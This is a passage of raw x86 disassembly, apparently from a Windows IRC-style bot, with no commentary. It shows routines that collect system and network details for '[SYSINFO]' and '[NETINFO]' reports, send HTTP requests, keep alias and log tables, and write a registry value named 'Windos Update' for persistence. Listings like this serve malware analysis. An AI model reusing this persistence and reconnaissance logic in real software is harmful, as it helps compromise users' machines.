eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset byte_43C9AC push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h ; Count push esi ; Dest call __snprintf add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_40B71C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B785 proc near ; CODE XREF: sub_409032+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call ds:dword_423144 ; GetVersionExA test eax, eax jz short loc_40B818 cmp [ebp+var_90], 4 jnz short loc_40B7EE cmp [ebp+var_8C], esi jnz short loc_40B7D6 cmp [ebp+var_84], 1 jnz short loc_40B7C9 push 1 pop esi loc_40B7C9: ; CODE XREF: sub_40B785+3Fj cmp [ebp+var_84], 2 jnz short loc_40B818 push 1 jmp short loc_40B817 ; --------------------------------------------------------------------------- loc_40B7D6: ; CODE XREF: sub_40B785+36j cmp [ebp+var_8C], 0Ah jnz short loc_40B7E3 loc_40B7DF: ; CODE XREF: sub_40B785+78j push 2 jmp short loc_40B817 ; --------------------------------------------------------------------------- loc_40B7E3: ; CODE XREF: sub_40B785+58j cmp [ebp+var_8C], 5Ah jnz short loc_40B818 jmp short loc_40B808 ; --------------------------------------------------------------------------- loc_40B7EE: ; CODE XREF: sub_40B785+2Ej cmp [ebp+var_90], 5 jnz short loc_40B818 cmp [ebp+var_8C], esi jz short loc_40B7DF cmp [ebp+var_8C], 1 jnz short loc_40B80C loc_40B808: ; CODE XREF: sub_40B785+67j push 3 jmp short loc_40B817 ; --------------------------------------------------------------------------- loc_40B80C: ; CODE XREF: sub_40B785+81j cmp [ebp+var_8C], 2 jnz short loc_40B818 push 7 loc_40B817: ; CODE XREF: sub_40B785+4Fj ; sub_40B785+5Cj ... pop esi loc_40B818: ; CODE XREF: sub_40B785+25j ; sub_40B785+4Bj ... mov eax, esi pop esi leave retn sub_40B785 endp ; =============== S U B R O U T I N E ======================================= sub_40B81D proc near ; CODE XREF: sub_40B8D3+290p push ebx push esi push edi mov esi, 0F4240h loc_40B825: ; CODE XREF: sub_40B81D+2Fj ; sub_40B81D+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call ds:dword_423060 ; Sleep rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call __aulldiv mov edi, edx mov ebx, eax test edi, edi ja short loc_40B825 jb short loc_40B854 cmp ebx, esi ja short loc_40B825 loc_40B854: ; CODE XREF: sub_40B81D+31j push 0 push 64h push edi push ebx call __aullrem mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_40B8C7 jb short loc_40B873 cmp esi, 50h jnb short loc_40B878 loc_40B873: ; CODE XREF: sub_40B81D+4Fj push 4Bh xor edx, edx pop eax loc_40B878: ; CODE XREF: sub_40B81D+54j test ecx, ecx ja short loc_40B8C7 jb short loc_40B883 cmp esi, 47h jnb short loc_40B888 loc_40B883: ; CODE XREF: sub_40B81D+5Fj push 42h xor edx, edx pop eax loc_40B888: ; CODE XREF: sub_40B81D+64j test ecx, ecx ja short loc_40B8C7 jb short loc_40B893 cmp esi, 37h jnb short loc_40B898 loc_40B893: ; CODE XREF: sub_40B81D+6Fj push 32h xor edx, edx pop eax loc_40B898: ; CODE XREF: sub_40B81D+74j test ecx, ecx ja short loc_40B8C7 jb short loc_40B8A3 cmp esi, 26h jnb short loc_40B8A8 loc_40B8A3: ; CODE XREF: sub_40B81D+7Fj push 21h xor edx, edx pop eax loc_40B8A8: ; CODE XREF: sub_40B81D+84j test ecx, ecx ja short loc_40B8C7 jb short loc_40B8B3 cmp esi, 1Eh jnb short loc_40B8B8 loc_40B8B3: ; CODE XREF: sub_40B81D+8Fj push 19h xor edx, edx pop eax loc_40B8B8: ; CODE XREF: sub_40B81D+94j test ecx, ecx ja short loc_40B8C7 jb short loc_40B8C3 cmp esi, 0Ah jnb short loc_40B8C7 loc_40B8C3: ; CODE XREF: sub_40B81D+9Fj xor eax, eax xor edx, edx loc_40B8C7: ; CODE XREF: sub_40B81D+4Dj ; sub_40B81D+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_40B81D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8D3 proc near ; CODE XREF: sub_40EE51+59D1p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h FullPath = byte ptr -4E8h var_3E4 = byte ptr -3E4h Dest = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h Dst = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch Drive = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_4397BC mov [ebp+var_CC], 94h call ds:dword_423144 ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_40B95A cmp [ebp+var_C4], ebx jnz short loc_40B936 cmp [ebp+var_BC], 1 jnz short loc_40B920 mov [ebp+var_4], offset a95 ; "95" loc_40B920: ; CODE XREF: sub_40B8D3+44j cmp [ebp+var_BC], 2 jnz loc_40B9D5 mov [ebp+var_4], offset aNt ; "NT" jmp short loc_40B9A6 ; --------------------------------------------------------------------------- loc_40B936: ; CODE XREF: sub_40B8D3+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_40B948 mov [ebp+var_4], offset a98 ; "98" jmp short loc_40B99D ; --------------------------------------------------------------------------- loc_40B948: ; CODE XREF: sub_40B8D3+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_40B996 mov [ebp+var_4], offset aMe ; "ME" jmp short loc_40B99D ; --------------------------------------------------------------------------- loc_40B95A: ; CODE XREF: sub_40B8D3+33j cmp [ebp+var_C8], 5 jnz short loc_40B996 cmp [ebp+var_C4], ebx jnz short loc_40B974 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_40B99D ; --------------------------------------------------------------------------- loc_40B974: ; CODE XREF: sub_40B8D3+96j cmp [ebp+var_C4], 1 jnz short loc_40B986 mov [ebp+var_4], offset aXp ; "XP" jmp short loc_40B99D ; --------------------------------------------------------------------------- loc_40B986: ; CODE XREF: sub_40B8D3+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_40B99D loc_40B996: ; CODE XREF: sub_40B8D3+7Cj ; sub_40B8D3+8Ej mov [ebp+var_4], offset a??? ; "???" loc_40B99D: ; CODE XREF: sub_40B8D3+73j ; sub_40B8D3+85j ... cmp [ebp+var_BC], 2 jnz short loc_40B9D5 loc_40B9A6: ; CODE XREF: sub_40B8D3+61j cmp [ebp+var_B8], bl jz short loc_40B9D5 lea eax, [ebp+var_B8] push eax lea eax, [ebp+Dest] push [ebp+var_4] push offset aSS_4 ; "%s (%s)" push eax ; Dest call _sprintf lea eax, [ebp+Dest] add esp, 10h mov [ebp+var_4], eax loc_40B9D5: ; CODE XREF: sub_40B8D3+54j ; sub_40B8D3+D1j ... mov ax, ds:word_42CDD0 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, ds:dword_43C504 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_40BA0E lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_40BA0E: ; CODE XREF: sub_40B8D3+12Cj push [ebp+arg_4] call sub_40AEDB pop ecx push eax call ds:dword_43C658 ; inet_addr mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call ds:dword_43C5D0 ; gethostbyaddr cmp eax, ebx jz short loc_40BA37 push dword ptr [eax] jmp short loc_40BA3C ; --------------------------------------------------------------------------- loc_40BA37: ; CODE XREF: sub_40B8D3+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_40BA3C: ; CODE XREF: sub_40B8D3+162j lea eax, [ebp+var_3E4] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+FullPath] pop ecx push 104h push eax call ds:dword_423064 ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call ds:dword_423098 ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call ds:dword_423094 ; GetTimeFormatA push 20h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push eax call ds:dword_423148 ; GlobalMemoryStatus push ebx ; Ext push ebx ; Filename lea eax, [ebp+Drive] push ebx ; Dir push eax ; Drive lea eax, [ebp+FullPath] push eax ; FullPath call __splitpath lea eax, [ebp+Drive] push eax lea eax, [ebp+var_7E8] push eax call sub_40D12A push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_40B71C add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AEDB pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+FullPath] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_40D01A pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_40D01A pop ecx pop ecx push eax call sub_40B81D push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h ; Count push [ebp+arg_0] ; Dest call __snprintf mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_40B8D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BB87(char *Dest,int,int) sub_40BB87 proc near ; CODE XREF: sub_40EE51+455Ap ; sub_40EE51+59FFp Dst = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 Dest = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch cmp ds:dword_43C700, 0 jnz short loc_40BBFB push 0 lea eax, [ebp+Dst] push esi push eax lea eax, [ebp+var_C] push eax call ds:dword_43C4E8 ; InternetGetConnectedStateEx test eax, eax jnz short loc_40BBDC lea eax, [ebp+Dst] push offset aNotConnected ; "Not connected" push eax ; Dest call _sprintf pop ecx pop ecx loc_40BBDC: ; CODE XREF: sub_40BB87+40j test [ebp+var_C], 1 jz short loc_40BBF4 push offset aDialUp ; "Dial-up" loc_40BBE7: ; CODE XREF: sub_40BB87+72j lea eax, [ebp+var_8] push eax ; Dest call _sprintf pop ecx pop ecx jmp short loc_40BC1A ; --------------------------------------------------------------------------- loc_40BBF4: ; CODE XREF: sub_40BB87+59j push offset off_42CE44 jmp short loc_40BBE7 ; --------------------------------------------------------------------------- loc_40BBFB: ; CODE XREF: sub_40BB87+28j mov esi, offset off_42CE40 lea eax, [ebp+var_8] push esi ; Format push eax ; Dest call _sprintf lea eax, [ebp+Dst] push esi ; Format push eax ; Dest call _sprintf add esp, 10h loc_40BC1A: ; CODE XREF: sub_40BB87+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_40AEDB pop ecx push eax lea eax, [ebp+Dst] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h ; Count push [ebp+Dest] ; Dest call __snprintf mov eax, [ebp+Dest] add esp, 1Ch pop esi leave retn sub_40BB87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC4D proc near ; DATA XREF: sub_40EE51+4972o var_65C = byte ptr -65Ch Dest = byte ptr -55Ch var_35C = dword ptr -35Ch Str = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h Dst = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h Source = dword ptr -38h Count = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_42CF80 call _memset push edi ; Size lea eax, [ebp+var_1C8] push ebx ; Val push eax ; Dst call _memset push edi ; Size lea eax, [ebp+var_C8] push ebx ; Val push eax ; Dst call _memset push 100h ; Size lea eax, [ebp+var_65C] push ebx ; Val push eax ; Dst call _memset push 3Ch lea eax, [ebp+var_48] pop edi push edi ; Size push ebx ; Val push eax ; Dst call _memset add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+Count], esi push eax lea eax, [ebp+Str] push ebx push eax ; Str mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call _strlen pop ecx push eax lea eax, [ebp+Str] push eax call ds:dword_43C520 ; InternetCrackUrlA test eax, eax jz loc_40BDE7 cmp [ebp+Count], ebx jbe short loc_40BD24 push [ebp+Count] ; Count lea eax, [ebp+Dst] push [ebp+Source] ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_40BD24: ; CODE XREF: sub_40BC4D+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_40BD42 push [ebp+var_28] ; Count lea eax, [ebp+var_1C8] push [ebp+var_2C] ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_40BD42: ; CODE XREF: sub_40BC4D+DEj cmp [ebp+var_20], ebx jbe short loc_40BD5C push [ebp+var_20] ; Count lea eax, [ebp+var_C8] push [ebp+var_24] ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_40BD5C: ; CODE XREF: sub_40BC4D+F8j cmp [ebp+var_18], ebx jbe short loc_40BD76 push [ebp+var_18] ; Count lea eax, [ebp+var_65C] push [ebp+var_1C] ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_40BD76: ; CODE XREF: sub_40BC4D+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+Dst] push esi push eax push ds:dword_43C5C8 call ds:dword_43C5EC ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_40BDFF push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call ds:dword_43C5E0 ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_40BE06 push ebx push ebx push ebx push ebx push eax call ds:dword_43C594 ; HttpSendRequestA test eax, eax jz short loc_40BDE0 push offset dword_42CF54 jmp short loc_40BE0B ; --------------------------------------------------------------------------- loc_40BDE0: ; CODE XREF: sub_40BC4D+18Aj push offset unk_42CF08 jmp short loc_40BE0B ; --------------------------------------------------------------------------- loc_40BDE7: ; CODE XREF: sub_40BC4D+B7j lea eax, [ebp+Dest] push offset dword_42CEDC ; Format push eax ; Dest call _sprintf mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_40BE19 ; --------------------------------------------------------------------------- loc_40BDFF: ; CODE XREF: sub_40BC4D+153j push offset unk_42CEA0 jmp short loc_40BE0B ; --------------------------------------------------------------------------- loc_40BE06: ; CODE XREF: sub_40BC4D+17Bj push offset unk_42CE60 ; Format loc_40BE0B: ; CODE XREF: sub_40BC4D+191j ; sub_40BC4D+198j ... lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_40BE19: ; CODE XREF: sub_40BC4D+1B0j cmp [ebp+var_1D4], ebx jnz short loc_40BE44 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_1D0] ; int push eax ; int lea eax, [ebp+var_258] push eax ; Str push [ebp+var_35C] ; int call sub_40D670 add esp, 14h loc_40BE44: ; CODE XREF: sub_40BC4D+1D2j lea eax, [ebp+Dest] push eax call sub_40BF6F pop ecx push esi call ds:dword_43C64C ; InternetCloseHandle push [ebp+var_4] call ds:dword_43C64C ; InternetCloseHandle push [ebp+var_1D8] call sub_417064 pop ecx push ebx call ds:dword_423050 pop edi pop esi pop ebx sub_40BC4D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BE77(char *Source,int) sub_40BE77 proc near ; CODE XREF: sub_40EE51+448Dp var_4 = dword ptr -4 Source = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset Str1 mov edi, 0B8h loc_40BE8B: ; CODE XREF: sub_40BE77+33j cmp byte ptr [esi], 0 jz short loc_40BEAE push [ebp+Source] ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_40BEAE inc [ebp+var_4] add esi, edi cmp esi, offset dword_441E70 jl short loc_40BE8B jmp short loc_40BEF0 ; --------------------------------------------------------------------------- loc_40BEAE: ; CODE XREF: sub_40BE77+17j ; sub_40BE77+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi ; Size push 0 ; Val lea ebx, Str1[esi] push ebx ; Dst call _memset push 17h ; Count push [ebp+Source] ; Source push ebx ; Dest call _strncpy push 9Fh ; Count lea eax, dword_441308[esi] push [ebp+arg_4] ; Source push eax ; Dest call _strncpy add esp, 24h inc ds:dword_4303A0 pop ebx loc_40BEF0: ; CODE XREF: sub_40BE77+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40BE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BEF7(int,char *Str,int) sub_40BEF7 proc near ; CODE XREF: sub_40EE51+5B3Ap Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 ; int push [ebp+arg_8] ; int push offset aAliasList ; "-[Alias List]-" push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 14h xor edi, edi mov esi, offset Str1 loc_40BF21: ; CODE XREF: sub_40BEF7+72j cmp byte ptr [esi], 0 jz short loc_40BF5C lea eax, [esi+18h] push eax push esi push edi push offset aD_SS ; "%d. %s = %s" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 2Ch loc_40BF5C: ; CODE XREF: sub_40BEF7+2Dj add esi, 0B8h inc edi cmp esi, offset dword_441E70 jl short loc_40BF21 pop edi pop esi leave retn sub_40BEF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BF6F proc near ; CODE XREF: sub_401000+97p ; sub_4010B2+314p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call ds:dword_423068 ; GetLocalTime mov ebx, offset byte_4409E4 mov edi, 80h mov esi, offset byte_43C9E4 loc_40BF91: ; CODE XREF: sub_40BF6F+3Dj cmp byte ptr [ebx], 0 jz short loc_40BFA8 push 7Fh ; Count lea eax, [ebx+80h] push ebx ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_40BFA8: ; CODE XREF: sub_40BF6F+25j sub ebx, edi cmp ebx, esi jge short loc_40BF91 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi ; Count push esi ; Dest call __snprintf add esp, 28h pop edi pop esi pop ebx leave retn sub_40BF6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BFE3(char *Format,char Args) sub_40BFE3 proc near ; CODE XREF: sub_407BCB+15Bp ; sub_407D53+1AFp ... Dest = byte ptr -80h Format = dword ptr 8 Args = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+Args] push eax ; Args lea eax, [ebp+Dest] push [ebp+Format] ; Format push 80h ; Count push eax ; Dest call __vsnprintf lea eax, [ebp+Dest] push eax call sub_40BF6F add esp, 14h leave retn sub_40BFE3 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40C00F(int,char *Str,int,int) sub_40C00F proc near ; CODE XREF: sub_40EE51+5A34p arg_0 = dword ptr 4 Str = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset byte_43C9E4 xor ecx, ecx loc_40C016: ; CODE XREF: sub_40C00F+13j mov [eax], cl add eax, 80h cmp eax, offset byte_4409E4 jl short loc_40C016 cmp [esp+arg_C], ecx push esi mov esi, offset dword_42CFC4 jnz short loc_40C046 push ecx ; int push [esp+8+arg_8] ; int push esi ; int push [esp+10h+Str] ; Str push [esp+14h+arg_0] ; int call sub_40D670 add esp, 14h loc_40C046: ; CODE XREF: sub_40C00F+1Fj push esi call sub_40BF6F pop ecx pop esi retn sub_40C00F endp ; =============== S U B R O U T I N E ======================================= sub_40C04F proc near ; CODE XREF: sub_402DCE+2AEp arg_0 = dword ptr 4 push esi mov esi, offset byte_43C9E4 loc_40C055: ; CODE XREF: sub_40C04F+27j cmp byte ptr [esi], 0 jz short loc_40C06A push [esp+4+arg_0] ; int push esi ; Str call sub_40A96A pop ecx test eax, eax pop ecx jnz short loc_40C07C loc_40C06A: ; CODE XREF: sub_40C04F+9j add esi, 80h cmp esi, offset byte_4409E4 jl short loc_40C055 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40C07C: ; CODE XREF: sub_40C04F+19j push 1 pop eax pop esi retn sub_40C04F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C081 proc near ; DATA XREF: sub_40EE51+5AE4o Dest = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h Str = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_40C0D4 push edx ; int lea eax, [ebp+var_118] push [ebp+var_14] ; int push offset dword_42D018 ; int push eax ; Str push [ebp+var_11C] ; int call sub_40D670 add esp, 14h loc_40C0D4: ; CODE XREF: sub_40C081+33j cmp [ebp+Str], 0 jz short loc_40C0F4 lea eax, [ebp+Str] push eax ; Str call _atoi test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_40C0F4 mov [ebp+var_8], eax loc_40C0F4: ; CODE XREF: sub_40C081+5Aj ; sub_40C081+6Ej and [ebp+arg_0], 0 mov esi, offset byte_43C9E4 loc_40C0FD: ; CODE XREF: sub_40C081+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_40C157 cmp byte ptr [esi], 0 jz short loc_40C146 cmp [ebp+Str], 0 jz short loc_40C12C cmp [ebp+var_4], 0 jnz short loc_40C12C lea eax, [ebp+Str] push eax ; int push esi ; Str call sub_40A96A pop ecx test eax, eax pop ecx jz short loc_40C146 loc_40C12C: ; CODE XREF: sub_40C081+90j ; sub_40C081+96j push edi ; int lea eax, [ebp+var_118] push [ebp+var_14] ; int push esi ; int push eax ; Str push [ebp+var_11C] ; int call sub_40D670 add esp, 14h loc_40C146: ; CODE XREF: sub_40C081+87j ; sub_40C081+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset byte_4409E4 jl short loc_40C0FD loc_40C157: ; CODE XREF: sub_40C081+82j lea eax, [ebp+Dest] push offset dword_42CFEC ; Format push eax ; Dest call _sprintf xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_40C191 push esi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+var_118] push eax ; Str push [ebp+var_11C] ; int call sub_40D670 add esp, 14h loc_40C191: ; CODE XREF: sub_40C081+EEj lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_18] call sub_417064 pop ecx pop ecx push esi call ds:dword_423050 pop edi pop esi sub_40C081 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40C1B0(char *Str) sub_40C1B0 proc near ; CODE XREF: sub_40AC3D+1Ep ; sub_40E68B+343p var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_42D038 xor esi, esi mov ebx, offset aWindosUpdate ; "Windos Update" loc_40C1C3: ; CODE XREF: sub_40C1B0+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call ds:dword_43C5CC cmp [ebp+Str], esi jz short loc_40C1FD push [ebp+Str] ; Str call _strlen pop ecx push eax push [ebp+Str] push 1 push esi push ebx push [ebp+var_4] call ds:dword_43C63C ; RegSetValueExA jmp short loc_40C207 ; --------------------------------------------------------------------------- loc_40C1FD: ; CODE XREF: sub_40C1B0+2Fj push ebx push [ebp+var_4] call ds:dword_43C584 ; RegDeleteValueA loc_40C207: ; CODE XREF: sub_40C1B0+4Bj push [ebp+var_4] call ds:dword_43C5F4 ; RegCloseKey add edi, 8 cmp edi, offset dword_42D050 jl short loc_40C1C3 pop edi pop esi pop ebx leave retn sub_40C1B0 endp ; =============== S U B R O U T I N E ======================================= sub_40C220 proc near ; CODE XREF: sub_40C25B+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_40C255 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_40C239: ; CODE XREF: sub_40C220+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, ds:dword_423290[eax*4] xor esi, eax inc edx dec edi jnz short loc_40C239 pop edi pop ebx loc_40C255: ; CODE XREF: sub_40C220+Ej mov eax, esi pop esi not eax retn sub_40C220 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40C25B(char *Filename) sub_40C25B proc near ; CODE XREF: sub_40CAF1+24Ap var_10 = dword ptr -10h Filename = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx ; Mode call _malloc mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+Filename] ; Filename mov esi, eax call _fopen mov edi, eax pop ecx test edi, edi pop ecx jz short loc_40C2AA loc_40C280: ; CODE XREF: sub_40C25B+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_40C2AE inc ebx push ebx ; NewSize push esi ; Memory call _realloc mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40C2AA push edi ; File push 1 ; Count lea eax, [esi+ebx-1] push 1 ; ElementSize push eax ; DstBuf call _fread add esp, 10h jmp short loc_40C280 ; --------------------------------------------------------------------------- loc_40C2AA: ; CODE XREF: sub_40C25B+23j ; sub_40C25B+39j xor eax, eax jmp short loc_40C2C9 ; --------------------------------------------------------------------------- loc_40C2AE: ; CODE XREF: sub_40C25B+29j dec ebx push ebx push esi call sub_40C220 push esi ; Memory mov ebx, eax call _free push edi ; File call _fclose add esp, 10h mov eax, ebx loc_40C2C9: ; CODE XREF: sub_40C25B+51j pop edi pop esi pop ebx retn sub_40C25B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2CD proc near ; CODE XREF: sub_40C353+33p ; sub_40C8B6+BCp Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 